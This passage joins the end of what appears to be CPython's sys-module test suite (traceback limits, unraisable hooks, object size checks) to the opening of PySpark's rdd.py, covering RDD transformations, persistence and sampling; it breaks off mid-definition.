check(tracebacklimit, expected): p = subprocess.Popen([sys.executable, '-c', code % tracebacklimit], stderr=subprocess.PIPE) out = p.communicate()[1] self.assertEqual(out.splitlines(), expected) traceback = [ b'Traceback (most recent call last):', b' File "<string>", line 8, in <module>', b' File "<string>", line 6, in f2', b' File "<string>", line 4, in f1', b'ZeroDivisionError: division by zero' ] check(10, traceback) check(3, traceback) check(2, traceback[:1] + traceback[2:]) check(1, traceback[:1] + traceback[3:]) check(0, [traceback[-1]]) check(-1, [traceback[-1]]) check(1<<1000, traceback) check(-1<<1000, [traceback[-1]]) check(None, traceback) def test_no_duplicates_in_meta_path(self): self.assertEqual(len(sys.meta_path), len(set(sys.meta_path))) @unittest.skipUnless(hasattr(sys, "_enablelegacywindowsfsencoding"), 'needs sys._enablelegacywindowsfsencoding()') def test__enablelegacywindowsfsencoding(self): code = ('import sys', 'sys._enablelegacywindowsfsencoding()', 'print(sys.getfilesystemencoding(), sys.getfilesystemencodeerrors())') rc, out, err = assert_python_ok('-c', '; '.join(code)) out = out.decode('ascii', 'replace').rstrip() self.assertEqual(out, 'mbcs replace') def test_orig_argv(self): code = textwrap.dedent(''' import sys print(sys.argv) print(sys.orig_argv) ''') args = [sys.executable, '-I', '-X', 'utf8', '-c', code, 'arg'] proc = subprocess.run(args, check=True, capture_output=True, text=True) expected = [ repr(['-c', 'arg']), # sys.argv repr(args), # sys.orig_argv ] self.assertEqual(proc.stdout.rstrip().splitlines(), expected, proc) def test_module_names(self): self.assertIsInstance(sys.stdlib_module_names, frozenset) for name in sys.stdlib_module_names: self.assertIsInstance(name, str) def test_stdlib_dir(self): os = import_helper.import_fresh_module('os') marker = getattr(os, '__file__', None) if marker and not os.path.exists(marker): marker = None expected = os.path.dirname(marker) if marker else None self.assertEqual(os.path.normpath(sys._stdlib_dir), os.path.normpath(expected)) @test.support.cpython_only class UnraisableHookTest(unittest.TestCase): def write_unraisable_exc(self, exc, err_msg, obj): import _testcapi import types err_msg2 = f"Exception ignored {err_msg}" try: _testcapi.write_unraisable_exc(exc, err_msg, obj) return types.SimpleNamespace(exc_type=type(exc), exc_value=exc, exc_traceback=exc.__traceback__, err_msg=err_msg2, object=obj) finally: # Explicitly break any reference cycle exc = None def test_original_unraisablehook(self): for err_msg in (None, "original hook"): with self.subTest(err_msg=err_msg): obj = "an object" with test.support.captured_output("stderr") as stderr: with test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): self.write_unraisable_exc(ValueError(42), err_msg, obj) err = stderr.getvalue() if err_msg is not None: self.assertIn(f'Exception ignored {err_msg}: {obj!r}\n', err) else: self.assertIn(f'Exception ignored in: {obj!r}\n', err) self.assertIn('Traceback (most recent call last):\n', err) self.assertIn('ValueError: 42\n', err) def test_original_unraisablehook_err(self): # bpo-22836: PyErr_WriteUnraisable() should give sensible reports class BrokenDel: def __del__(self): exc = ValueError("del is broken") # The following line is included in the traceback report: raise exc class BrokenStrException(Exception): def __str__(self): raise Exception("str() is broken") class BrokenExceptionDel: def __del__(self): exc = BrokenStrException() # The following line is included in the traceback report: raise exc for test_class in (BrokenDel, BrokenExceptionDel): with self.subTest(test_class): obj = test_class() with test.support.captured_stderr() as stderr, \ test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): # Trigger obj.__del__() del obj report = stderr.getvalue() self.assertIn("Exception ignored", report) self.assertIn(test_class.__del__.__qualname__, report) self.assertIn("test_sys.py", report) self.assertIn("raise exc", report) if test_class is BrokenExceptionDel: self.assertIn("BrokenStrException", report) self.assertIn("<exception str() failed>", report) else: self.assertIn("ValueError", report) self.assertIn("del is broken", report) self.assertTrue(report.endswith("\n")) def test_original_unraisablehook_exception_qualname(self): # See bpo-41031, bpo-45083. # Check that the exception is printed with its qualified name # rather than just classname, and the module names appears # unless it is one of the hard-coded exclusions. class A: class B: class X(Exception): pass for moduleName in 'builtins', '__main__', 'some_module': with self.subTest(moduleName=moduleName): A.B.X.__module__ = moduleName with test.support.captured_stderr() as stderr, \ test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): expected = self.write_unraisable_exc( A.B.X(), "msg", "obj"); report = stderr.getvalue() self.assertIn(A.B.X.__qualname__, report) if moduleName in ['builtins', '__main__']: self.assertNotIn(moduleName + '.', report) else: self.assertIn(moduleName + '.', report) def test_original_unraisablehook_wrong_type(self): exc = ValueError(42) with test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): with self.assertRaises(TypeError): sys.unraisablehook(exc) def test_custom_unraisablehook(self): hook_args = None def hook_func(args): nonlocal hook_args hook_args = args obj = object() try: with test.support.swap_attr(sys, 'unraisablehook', hook_func): expected = self.write_unraisable_exc(ValueError(42), "custom hook", obj) for attr in "exc_type exc_value exc_traceback err_msg object".split(): self.assertEqual(getattr(hook_args, attr), getattr(expected, attr), (hook_args, expected)) finally: # expected and hook_args contain an exception: break reference cycle expected = None hook_args = None def test_custom_unraisablehook_fail(self): def hook_func(*args): raise Exception("hook_func failed") with test.support.captured_output("stderr") as stderr: with test.support.swap_attr(sys, 'unraisablehook', hook_func): self.write_unraisable_exc(ValueError(42), "custom hook fail", None) err = stderr.getvalue() self.assertIn(f'Exception ignored in sys.unraisablehook: ' f'{hook_func!r}\n', err) self.assertIn('Traceback (most recent call last):\n', err) self.assertIn('Exception: hook_func failed\n', err) @test.support.cpython_only class SizeofTest(unittest.TestCase): def setUp(self): self.P = struct.calcsize('P') self.longdigit = sys.int_info.sizeof_digit import _testinternalcapi self.gc_headsize = _testinternalcapi.SIZEOF_PYGC_HEAD check_sizeof = test.support.check_sizeof def test_gc_head_size(self): # Check that the gc header size is added to objects tracked by the gc. vsize = test.support.calcvobjsize gc_header_size = self.gc_headsize # bool objects are not gc tracked self.assertEqual(sys.getsizeof(True), vsize('') + self.longdigit) # but lists are self.assertEqual(sys.getsizeof([]), vsize('Pn') + gc_header_size) def test_errors(self): class BadSizeof: def __sizeof__(self): raise ValueError self.assertRaises(ValueError, sys.getsizeof, BadSizeof()) class InvalidSizeof: def __sizeof__(self): return None self.assertRaises(TypeError, sys.getsizeof, InvalidSizeof()) sentinel = ["sentinel"] self.assertIs(sys.getsizeof(InvalidSizeof(), sentinel), sentinel) class FloatSizeof: def __sizeof__(self): return 4.5 self.assertRaises(TypeError, sys.getsizeof, FloatSizeof()) self.assertIs(sys.getsizeof(FloatSizeof(), sentinel), sentinel) class OverflowSizeof(int): def __sizeof__(self): return int(self) self.assertEqual(sys.getsizeof(OverflowSizeof(sys.maxsize)), sys.maxsize + self.gc_headsize) with self.assertRaises(OverflowError): sys.getsizeof(OverflowSizeof(sys.maxsize + 1)) with self.assertRaises(ValueError): sys.getsizeof(OverflowSizeof(-1)) with self.assertRaises((ValueError, OverflowError)): sys.getsizeof(OverflowSizeof(-sys.maxsize - 1)) def test_default(self): size = test.support.calcvobjsize self.assertEqual(sys.getsizeof(True), size('') + self.longdigit) self.assertEqual(sys.getsizeof(True, -1), size('') + self.longdigit) def test_objecttypes(self): # check all types defined in Objects/ calcsize = struct.calcsize size = test.support.calcobjsize vsize = test.support.calcvobjsize check = self.check_sizeof # bool check(True, vsize('') + self.longdigit) # buffer # XXX # builtin_function_or_method check(len, size('5P')) # bytearray samples = [b'', b'u'*100000] for sample in samples: x = bytearray(sample) check(x, vsize('n2Pi') + x.__alloc__()) # bytearray_iterator check(iter(bytearray()), size('nP')) # bytes check(b'', vsize('n') + 1) check(b'x' * 10, vsize('n') + 11) # cell def get_cell(): x = 42 def inner(): return x return inner check(get_cell().__closure__[0], size('P')) # code def check_code_size(a, expected_size): self.assertGreaterEqual(sys.getsizeof(a), expected_size) check_code_size(get_cell().__code__, size('6i13P')) check_code_size(get_cell.__code__, size('6i13P')) def get_cell2(x): def inner(): return x return inner check_code_size(get_cell2.__code__, size('6i13P') + calcsize('n')) # complex check(complex(0,1), size('2d')) # method_descriptor (descriptor object) check(str.lower, size('3PPP')) # classmethod_descriptor (descriptor object) # XXX # member_descriptor (descriptor object) import datetime check(datetime.timedelta.days, size('3PP')) # getset_descriptor (descriptor object) import collections check(collections.defaultdict.default_factory, size('3PP')) # wrapper_descriptor (descriptor object) check(int.__add__, size('3P2P')) # method-wrapper (descriptor object) check({}.__iter__, size('2P')) # empty dict check({}, size('nQ2P')) # dict check({"a": 1}, size('nQ2P') + calcsize(DICT_KEY_STRUCT_FORMAT) + 8 + (8*2//3)*calcsize('n2P')) longdict = {1:1, 2:2, 3:3, 4:4, 5:5, 6:6, 7:7, 8:8} check(longdict, size('nQ2P') + calcsize(DICT_KEY_STRUCT_FORMAT) + 16 + (16*2//3)*calcsize('n2P')) # dictionary-keyview check({}.keys(), size('P')) # dictionary-valueview check({}.values(), size('P')) # dictionary-itemview check({}.items(), size('P')) # dictionary iterator check(iter({}), size('P2nPn')) # dictionary-keyiterator check(iter({}.keys()), size('P2nPn')) # dictionary-valueiterator check(iter({}.values()), size('P2nPn')) # dictionary-itemiterator check(iter({}.items()), size('P2nPn')) # dictproxy class C(object): pass check(C.__dict__, size('P')) # BaseException check(BaseException(), size('6Pb')) # UnicodeEncodeError check(UnicodeEncodeError("", "", 0, 0, ""), size('6Pb 2P2nP')) # UnicodeDecodeError check(UnicodeDecodeError("", b"", 0, 0, ""), size('6Pb 2P2nP')) # UnicodeTranslateError check(UnicodeTranslateError("", 0, 1, ""), size('6Pb 2P2nP')) # ellipses check(Ellipsis, size('')) # EncodingMap import codecs, encodings.iso8859_3 x = codecs.charmap_build(encodings.iso8859_3.decoding_table) check(x, size('32B2iB')) # enumerate check(enumerate([]), size('n3P')) # reverse check(reversed(''), size('nP')) # float check(float(0), size('d')) # sys.floatinfo check(sys.float_info, vsize('') + self.P * len(sys.float_info)) # frame def func(): return sys._getframe() x = func() check(x, size('3Pi3c8P2ic?P')) # function def func(): pass check(func, size('14Pi')) class c(): @staticmethod def foo(): pass @classmethod def bar(cls): pass # staticmethod check(foo, size('PP')) # classmethod check(bar, size('PP')) # generator def get_gen(): yield 1 check(get_gen(), size('P2P4P4c8P2ic?P')) # iterator check(iter('abc'), size('lP')) # callable-iterator import re check(re.finditer('',''), size('2P')) # list samples = [[], [1,2,3], ['1', '2', '3']] for sample in samples: check(list(sample), vsize('Pn') + len(sample)*self.P) # sortwrapper (list) # XXX # cmpwrapper (list) # XXX # listiterator (list) check(iter([]), size('lP')) # listreverseiterator (list) check(reversed([]), size('nP')) # int check(0, vsize('')) check(1, vsize('') + self.longdigit) check(-1, vsize('') + self.longdigit) PyLong_BASE = 2**sys.int_info.bits_per_digit check(int(PyLong_BASE), vsize('') + 2*self.longdigit) check(int(PyLong_BASE**2-1), vsize('') + 2*self.longdigit) check(int(PyLong_BASE**2), vsize('') + 3*self.longdigit) # module check(unittest, size('PnPPP')) # None check(None, size('')) # NotImplementedType check(NotImplemented, size('')) # object check(object(), size('')) # property (descriptor object) class C(object): def getx(self): return self.__x def setx(self, value): self.__x = value def delx(self): del self.__x x = property(getx, setx, delx, "") check(x, size('5Pi')) # PyCapsule # XXX # rangeiterator check(iter(range(1)), size('4l')) # reverse check(reversed(''), size('nP')) # range check(range(1), size('4P')) check(range(66000), size('4P')) # set # frozenset PySet_MINSIZE = 8 samples = [[], range(10), range(50)] s = size('3nP' + PySet_MINSIZE*'nP' + '2nP') for sample in samples: minused = len(sample) if minused == 0: tmp = 1 # the computation of minused is actually a bit more complicated # but this suffices for the sizeof test minused = minused*2 newsize = PySet_MINSIZE while newsize <= minused: newsize = newsize << 1 if newsize <= 8: check(set(sample), s) check(frozenset(sample), s) else: check(set(sample), s + newsize*calcsize('nP')) check(frozenset(sample), s + newsize*calcsize('nP')) # setiterator check(iter(set()), size('P3n')) # slice check(slice(0), size('3P')) # super check(super(int), size('3P')) # tuple check((), vsize('')) check((1,2,3), vsize('') + 3*self.P) # type # static type: PyTypeObject fmt = 'P2nPI13Pl4Pn9Pn12PIP' s = vsize('2P' + fmt) check(int, s) # class s = vsize(fmt + # PyTypeObject '4P' # PyAsyncMethods '36P' # PyNumberMethods '3P' # PyMappingMethods '10P' # PySequenceMethods '2P' # PyBufferProcs '6P') class newstyleclass(object): pass # Separate block for PyDictKeysObject with 8 keys and 5 entries check(newstyleclass, s + calcsize(DICT_KEY_STRUCT_FORMAT) + 32 + 21*calcsize("n2P")) # dict with shared keys check(newstyleclass().__dict__, size('nQ2P') + 15*self.P) o = newstyleclass() o.a = o.b = o.c = o.d = o.e = o.f = o.g = o.h = 1 # Separate block for PyDictKeysObject with 16 keys and 10 entries check(newstyleclass, s + calcsize(DICT_KEY_STRUCT_FORMAT) + 32 + 21*calcsize("n2P")) # dict with shared keys check(newstyleclass().__dict__, size('nQ2P') + 13*self.P) # unicode # each tuple contains a string and its expected character size # don't put any static strings here, as they may contain # wchar_t or UTF-8 representations samples = ['1'*100, '\xff'*50, '\u0100'*40, '\uffff'*100, '\U00010000'*30, '\U0010ffff'*100] asciifields = "nnbP" compactfields = asciifields + "nPn" unicodefields = compactfields + "P" for s in samples: maxchar = ord(max(s)) if maxchar < 128: L = size(asciifields) + len(s) + 1 elif maxchar < 256: L = size(compactfields) + len(s) + 1 elif maxchar < 65536: L = size(compactfields) + 2*(len(s) + 1) else: L = size(compactfields) + 4*(len(s) + 1) check(s, L) # verify that the UTF-8 size is accounted for s = chr(0x4000) # 4 bytes canonical representation check(s, size(compactfields) + 4) # compile() will trigger the generation of the UTF-8 # representation as a side effect compile(s, "<stdin>", "eval") check(s, size(compactfields) + 4 + 4) # TODO: add check that forces the presence of wchar_t representation # TODO: add check that forces layout of unicodefields # weakref import weakref check(weakref.ref(int), size('2Pn2P')) # weakproxy # XXX # weakcallableproxy check(weakref.proxy(int), size('2Pn2P')) def check_slots(self, obj, base, extra): expected = sys.getsizeof(base) + struct.calcsize(extra) if gc.is_tracked(obj) and not gc.is_tracked(base): expected += self.gc_headsize self.assertEqual(sys.getsizeof(obj), expected) def test_slots(self): # check all subclassable types defined in Objects/ that allow # non-empty __slots__ check = self.check_slots class BA(bytearray): __slots__ = 'a', 'b', 'c' check(BA(), bytearray(), '3P') class D(dict): __slots__ = 'a', 'b', 'c' check(D(x=[]), {'x': []}, '3P') class L(list): __slots__ = 'a', 'b', 'c' check(L(), [], '3P') class S(set): __slots__ = 'a', 'b', 'c' check(S(), set(), '3P') class FS(frozenset): __slots__ = 'a', 'b', 'c' check(FS(), frozenset(), '3P') from collections import OrderedDict class OD(OrderedDict): __slots__ = 'a', 'b', 'c' check(OD(x=[]), OrderedDict(x=[]), '3P') def test_pythontypes(self): # check all types defined in Python/ size = test.support.calcobjsize vsize = test.support.calcvobjsize check = self.check_sizeof # _ast.AST import _ast check(_ast.AST(), size('P')) try: raise TypeError except TypeError: tb = sys.exc_info()[2] # traceback if tb is not None: check(tb, size('2P2i')) # symtable entry # XXX # sys.flags check(sys.flags, vsize('') + self.P * len(sys.flags)) def test_asyncgen_hooks(self): old = sys.get_asyncgen_hooks() self.assertIsNone(old.firstiter) self.assertIsNone(old.finalizer) firstiter = lambda *a: None sys.set_asyncgen_hooks(firstiter=firstiter) hooks = sys.get_asyncgen_hooks() self.assertIs(hooks.firstiter, firstiter) self.assertIs(hooks[0], firstiter) self.assertIs(hooks.finalizer, None) self.assertIs(hooks[1], None) finalizer = lambda *a: None sys.set_asyncgen_hooks(finalizer=finalizer) hooks = sys.get_asyncgen_hooks() self.assertIs(hooks.firstiter, firstiter) self.assertIs(hooks[0], firstiter) self.assertIs(hooks.finalizer, finalizer) self.assertIs(hooks[1], finalizer) sys.set_asyncgen_hooks(*old) cur = sys.get_asyncgen_hooks() self.assertIsNone(cur.firstiter) self.assertIsNone(cur.finalizer) def test_changing_sys_stderr_and_removing_reference(self): # If the default displayhook doesn't take a strong reference # to sys.stderr the following code can crash. See bpo-43660 # for more details. code = textwrap.dedent(''' import sys class MyStderr: def write(self, s): sys.stderr = None sys.stderr = MyStderr() 1/0 ''') rc, out, err = assert_python_failure('-c', code) self.assertEqual(out, b"") self.assertEqual(err, b"") if __name__ == "__main__": unittest.main()
rdd.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import copy import sys import os import re import operator import shlex import warnings import heapq import bisect import random import socket from subprocess import Popen, PIPE from tempfile import NamedTemporaryFile from threading import Thread from collections import defaultdict from itertools import chain from functools import reduce from math import sqrt, log, isinf, isnan, pow, ceil if sys.version > '3': basestring = unicode = str else: from itertools import imap as map, ifilter as filter from pyspark.serializers import NoOpSerializer, CartesianDeserializer, \ BatchedSerializer, CloudPickleSerializer, PairDeserializer, \ PickleSerializer, pack_long, AutoBatchedSerializer from pyspark.join import python_join, python_left_outer_join, \ python_right_outer_join, python_full_outer_join, python_cogroup from pyspark.statcounter import StatCounter from pyspark.rddsampler import RDDSampler, RDDRangeSampler, RDDStratifiedSampler from pyspark.storagelevel import StorageLevel from pyspark.resultiterable import ResultIterable from pyspark.shuffle import Aggregator, ExternalMerger, \ get_used_memory, ExternalSorter, ExternalGroupBy from pyspark.traceback_utils import SCCallSiteSync __all__ = ["RDD"] class PythonEvalType(object): """ Evaluation type of python rdd. These values are internal to PySpark. These values should match values in org.apache.spark.api.python.PythonEvalType. """ NON_UDF = 0 SQL_BATCHED_UDF = 100 SQL_SCALAR_PANDAS_UDF = 200 SQL_GROUPED_MAP_PANDAS_UDF = 201 SQL_GROUPED_AGG_PANDAS_UDF = 202 def portable_hash(x): """ This function returns consistent hash code for builtin types, especially for None and tuple with None. The algorithm is similar to that one used by CPython 2.7 >>> portable_hash(None) 0 >>> portable_hash((None, 1)) & 0xffffffff 219750521 """ if sys.version_info >= (3, 2, 3) and 'PYTHONHASHSEED' not in os.environ: raise Exception("Randomness of hash of string should be disabled via PYTHONHASHSEED") if x is None: return 0 if isinstance(x, tuple): h = 0x345678 for i in x: h ^= portable_hash(i) h *= 1000003 h &= sys.maxsize h ^= len(x) if h == -1: h = -2 return int(h) return hash(x) class BoundedFloat(float): """ Bounded value is generated by approximate job, with confidence and low bound and high bound. >>> BoundedFloat(100.0, 0.95, 95.0, 105.0) 100.0 """ def __new__(cls, mean, confidence, low, high): obj = float.__new__(cls, mean) obj.confidence = confidence obj.low = low obj.high = high return obj def _parse_memory(s): """ Parse a memory string in the format supported by Java (e.g. 1g, 200m) and return the value in MB >>> _parse_memory("256m") 256 >>> _parse_memory("2g") 2048 """ units = {'g': 1024, 'm': 1, 't': 1 << 20, 'k': 1.0 / 1024} if s[-1].lower() not in units: raise ValueError("invalid format: " + s) return int(float(s[:-1]) * units[s[-1].lower()]) def _load_from_socket(port, serializer): sock = None # Support for both IPv4 and IPv6. # On most of IPv6-ready systems, IPv6 will take precedence. for res in socket.getaddrinfo("localhost", port, socket.AF_UNSPEC, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res sock = socket.socket(af, socktype, proto) try: sock.settimeout(15) sock.connect(sa) except socket.error: sock.close() sock = None continue break if not sock: raise Exception("could not open socket") # The RDD materialization time is unpredicable, if we set a timeout for socket reading # operation, it will very possibly fail. See SPARK-18281. sock.settimeout(None) # The socket will be automatically closed when garbage-collected. return serializer.load_stream(sock.makefile("rb", 65536)) def ignore_unicode_prefix(f): """ Ignore the 'u' prefix of string in doc tests, to make it works in both python 2 and 3 """ if sys.version >= '3': # the representation of unicode string in Python 3 does not have prefix 'u', # so remove the prefix 'u' for doc tests literal_re = re.compile(r"(\W|^)[uU](['])", re.UNICODE) f.__doc__ = literal_re.sub(r'\1\2', f.__doc__) return f class Partitioner(object): def __init__(self, numPartitions, partitionFunc): self.numPartitions = numPartitions self.partitionFunc = partitionFunc def __eq__(self, other): return (isinstance(other, Partitioner) and self.numPartitions == other.numPartitions and self.partitionFunc == other.partitionFunc) def __call__(self, k): return self.partitionFunc(k) % self.numPartitions class RDD(object): """ A Resilient Distributed Dataset (RDD), the basic abstraction in Spark. Represents an immutable, partitioned collection of elements that can be operated on in parallel. """ def __init__(self, jrdd, ctx, jrdd_deserializer=AutoBatchedSerializer(PickleSerializer())): self._jrdd = jrdd self.is_cached = False self.is_checkpointed = False self.ctx = ctx self._jrdd_deserializer = jrdd_deserializer self._id = jrdd.id() self.partitioner = None def _pickled(self): return self._reserialize(AutoBatchedSerializer(PickleSerializer())) def id(self): """ A unique ID for this RDD (within its SparkContext). """ return self._id def __repr__(self): return self._jrdd.toString() def __getnewargs__(self): # This method is called when attempting to pickle an RDD, which is always an error: raise Exception( "It appears that you are attempting to broadcast an RDD or reference an RDD from an " "action or transformation. RDD transformations and actions can only be invoked by the " "driver, not inside of other transformations; for example, " "rdd1.map(lambda x: rdd2.values.count() * x) is invalid because the values " "transformation and count action cannot be performed inside of the rdd1.map " "transformation. For more information, see SPARK-5063." ) @property def context(self): """ The L{SparkContext} that this RDD was created on. """ return self.ctx def cache(self): """ Persist this RDD with the default storage level (C{MEMORY_ONLY}). """ self.is_cached = True self.persist(StorageLevel.MEMORY_ONLY) return self def persist(self, storageLevel=StorageLevel.MEMORY_ONLY): """ Set this RDD's storage level to persist its values across operations after the first time it is computed. This can only be used to assign a new storage level if the RDD does not have a storage level set yet. If no storage level is specified defaults to (C{MEMORY_ONLY}). >>> rdd = sc.parallelize(["b", "a", "c"]) >>> rdd.persist().is_cached True """ self.is_cached = True javaStorageLevel = self.ctx._getJavaStorageLevel(storageLevel) self._jrdd.persist(javaStorageLevel) return self def unpersist(self): """ Mark the RDD as non-persistent, and remove all blocks for it from memory and disk. """ self.is_cached = False self._jrdd.unpersist() return self def checkpoint(self): """ Mark this RDD for checkpointing. It will be saved to a file inside the checkpoint directory set with L{SparkContext.setCheckpointDir()} and all references to its parent RDDs will be removed. This function must be called before any job has been executed on this RDD. It is strongly recommended that this RDD is persisted in memory, otherwise saving it on a file will require recomputation. """ self.is_checkpointed = True self._jrdd.rdd().checkpoint() def isCheckpointed(self): """ Return whether this RDD is checkpointed and materialized, either reliably or locally. """ return self._jrdd.rdd().isCheckpointed() def localCheckpoint(self): """ Mark this RDD for local checkpointing using Spark's existing caching layer. This method is for users who wish to truncate RDD lineages while skipping the expensive step of replicating the materialized data in a reliable distributed file system. This is useful for RDDs with long lineages that need to be truncated periodically (e.g. GraphX). Local checkpointing sacrifices fault-tolerance for performance. In particular, checkpointed data is written to ephemeral local storage in the executors instead of to a reliable, fault-tolerant storage. The effect is that if an executor fails during the computation, the checkpointed data may no longer be accessible, causing an irrecoverable job failure. This is NOT safe to use with dynamic allocation, which removes executors along with their cached blocks. If you must use both features, you are advised to set L{spark.dynamicAllocation.cachedExecutorIdleTimeout} to a high value. The checkpoint directory set through L{SparkContext.setCheckpointDir()} is not used. """ self._jrdd.rdd().localCheckpoint() def isLocallyCheckpointed(self): """ Return whether this RDD is marked for local checkpointing. Exposed for testing. """ return self._jrdd.rdd().isLocallyCheckpointed() def getCheckpointFile(self): """ Gets the name of the file to which this RDD was checkpointed Not defined if RDD is checkpointed locally. """ checkpointFile = self._jrdd.rdd().getCheckpointFile() if checkpointFile.isDefined(): return checkpointFile.get() def map(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each element of this RDD. >>> rdd = sc.parallelize(["b", "a", "c"]) >>> sorted(rdd.map(lambda x: (x, 1)).collect()) [('a', 1), ('b', 1), ('c', 1)] """ def func(_, iterator): return map(f, iterator) return self.mapPartitionsWithIndex(func, preservesPartitioning) def flatMap(self, f, preservesPartitioning=False): """ Return a new RDD by first applying a function to all elements of this RDD, and then flattening the results. >>> rdd = sc.parallelize([2, 3, 4]) >>> sorted(rdd.flatMap(lambda x: range(1, x)).collect()) [1, 1, 1, 2, 2, 3] >>> sorted(rdd.flatMap(lambda x: [(x, x), (x, x)]).collect()) [(2, 2), (2, 2), (3, 3), (3, 3), (4, 4), (4, 4)] """ def func(s, iterator): return chain.from_iterable(map(f, iterator)) return self.mapPartitionsWithIndex(func, preservesPartitioning) def mapPartitions(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each partition of this RDD. >>> rdd = sc.parallelize([1, 2, 3, 4], 2) >>> def f(iterator): yield sum(iterator) >>> rdd.mapPartitions(f).collect() [3, 7] """ def func(s, iterator): return f(iterator) return self.mapPartitionsWithIndex(func, preservesPartitioning) def mapPartitionsWithIndex(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each partition of this RDD, while tracking the index of the original partition. >>> rdd = sc.parallelize([1, 2, 3, 4], 4) >>> def f(splitIndex, iterator): yield splitIndex >>> rdd.mapPartitionsWithIndex(f).sum() 6 """ return PipelinedRDD(self, f, preservesPartitioning) def mapPartitionsWithSplit(self, f, preservesPartitioning=False): """ Deprecated: use mapPartitionsWithIndex instead. Return a new RDD by applying a function to each partition of this RDD, while tracking the index of the original partition. >>> rdd = sc.parallelize([1, 2, 3, 4], 4) >>> def f(splitIndex, iterator): yield splitIndex >>> rdd.mapPartitionsWithSplit(f).sum() 6 """ warnings.warn("mapPartitionsWithSplit is deprecated; " "use mapPartitionsWithIndex instead", DeprecationWarning, stacklevel=2) return self.mapPartitionsWithIndex(f, preservesPartitioning) def getNumPartitions(self): """ Returns the number of partitions in RDD >>> rdd = sc.parallelize([1, 2, 3, 4], 2) >>> rdd.getNumPartitions() 2 """ return self._jrdd.partitions().size() def filter(self, f): """ Return a new RDD containing only the elements that satisfy a predicate. >>> rdd = sc.parallelize([1, 2, 3, 4, 5]) >>> rdd.filter(lambda x: x % 2 == 0).collect() [2, 4] """ def func(iterator): return filter(f, iterator) return self.mapPartitions(func, True) def distinct(self, numPartitions=None): """ Return a new RDD containing the distinct elements in this RDD. >>> sorted(sc.parallelize([1, 1, 2, 3]).distinct().collect()) [1, 2, 3] """ return self.map(lambda x: (x, None)) \ .reduceByKey(lambda x, _: x, numPartitions) \ .map(lambda x: x[0]) def sample(self, withReplacement, fraction, seed=None): """ Return a sampled subset of this RDD. :param withReplacement: can elements be sampled multiple times (replaced when sampled out) :param fraction: expected size of the sample as a fraction of this RDD's size without replacement: probability that each element is chosen; fraction must be [0, 1] with replacement: expected number of times each element is chosen; fraction must be >= 0 :param seed: seed for the random number generator .. note:: This is not guaranteed to provide exactly the fraction specified of the total count of the given :class:`DataFrame`. >>> rdd = sc.parallelize(range(100), 4) >>> 6 <= rdd.sample(False, 0.1, 81).count() <= 14 True """ assert fraction >= 0.0, "Negative fraction value: %s" % fraction return self.mapPartitionsWithIndex(RDDSampler(withReplacement, fraction, seed).func, True) def randomSplit(self, weights, seed=None): """ Randomly splits this RDD with the provided weights. :param weights: weights for splits, will be normalized if they don't sum to 1 :param seed: random seed :return: split RDDs in a list >>> rdd = sc.parallelize(range(500), 1) >>> rdd1, rdd2 = rdd.randomSplit([2, 3], 17) >>> len(rdd1.collect() + rdd2.collect()) 500 >>> 150 < rdd1.count() < 250 True >>> 250 < rdd2.count() < 350 True """ s = float(sum(weights)) cweights = [0.0] for w in weights: cweights.append(cweights[-1] + w / s) if seed is None: seed = random.randint(0, 2 ** 32 - 1) return [self.mapPartitionsWithIndex(RDDRangeSampler(lb, ub, seed).func, True) for lb, ub in zip(cweights, cweights[1:])] # this is ported from scala/spark/RDD.scala def takeSample(self, withReplacement, num, seed=None): """ Return a fixed-size sampled subset of this RDD. .. note:: This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. >>> rdd = sc.parallelize(range(0, 10)) >>> len(rdd.takeSample(True, 20, 1)) 20 >>> len(rdd.takeSample(False, 5, 2)) 5 >>> len(rdd.takeSample(False, 15, 3)) 10 """ numStDev = 10.0 if num < 0: raise ValueError("Sample size cannot be negative.") elif num == 0: return [] initialCount = self.count() if initialCount == 0: return [] rand = random.Random(seed) if (not withReplacement) and num >= initialCount: # shuffle current RDD and return samples = self.collect() rand.shuffle(samples) return samples maxSampleSize = sys.maxsize - int(numStDev * sqrt(sys.maxsize)) if num > maxSampleSize: raise ValueError( "Sample size cannot be greater than %d." % maxSampleSize) fraction = RDD._computeFractionForSampleSize( num, initialCount, withReplacement) samples = self.sample(withReplacement, fraction, seed).collect() # If the first sample didn't turn out large enough, keep trying to take samples; # this shouldn't happen often because we use a big multiplier for their initial size. # See: scala/spark/RDD.scala while len(samples) < num: # TODO: add log warning for when more than one iteration was run seed = rand.randint(0, sys.maxsize) samples = self.sample(withReplacement, fraction, seed).collect() rand.shuffle(samples) return samples[0:num] @staticmethod def _computeFractionForSampleSize(sampleSizeLowerBound, total, withReplacement): """ Returns a sampling rate that guarantees a sample of size >= sampleSizeLowerBound 99.99% of the time. How the sampling rate is determined: Let p = num / total, where num is the sample size and total is the total number of data points in the RDD. We're trying to compute q > p such that - when sampling with replacement, we're drawing each data point with prob_i ~ Pois(q), where we want to guarantee Pr[s < num] < 0.0001 for s = sum(prob_i for i from 0 to total), i.e. the failure rate of not having a sufficiently large sample < 0.0001. Setting q = p + 5 * sqrt(p/total) is sufficient to guarantee 0.9999 success rate for num > 12, but we need a slightly larger q (9 empirically determined). - when sampling without replacement, we're drawing each data point with prob_i ~ Binomial(total, fraction) and our choice of q guarantees 1-delta, or 0.9999 success rate, where success rate is defined the same as in sampling with replacement. """ fraction = float(sampleSizeLowerBound) / total if withReplacement: numStDev = 5 if (sampleSizeLowerBound < 12): numStDev = 9 return fraction + numStDev * sqrt(fraction / total) else: delta = 0.00005 gamma = - log(delta) / total return min(1, fraction + gamma + sqrt(gamma * gamma + 2 * gamma * fraction)) def 